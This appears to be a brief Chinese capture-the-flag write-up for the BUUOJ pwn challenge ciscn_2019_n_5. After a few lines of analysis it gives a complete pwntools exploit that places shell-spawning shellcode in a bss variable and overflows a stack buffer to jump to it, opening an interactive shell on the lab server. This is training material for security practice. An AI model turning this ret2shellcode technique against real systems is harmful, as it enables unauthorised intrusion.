共计 480 个字符,预计需要花费 2 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-30 10:36,文中所关联的信息可能已发生改变,请知悉!
checksec
IDA
name
变量存在于 bss
段,可以先将 shellcode
存入 name
中,然后通过 text
溢出到 name
的位置,并执行shellcode
EXP
from pwn import *
p = remote('node4.buuoj.cn', 28183)
# p = process('./ciscn_2019_n_5')
context(arch='amd64', os='linux')
context.log_level = 'debug'
shellcode = asm(shellcraft.sh())
p.sendlineafter('tell me your name\n', shellcode)
payload = flat(b'a' * (0x20 + 0x8) + p64(0x601080))
p.sendlineafter('What do you want to say to me?\n', payload)
p.interactive()
结果
正文完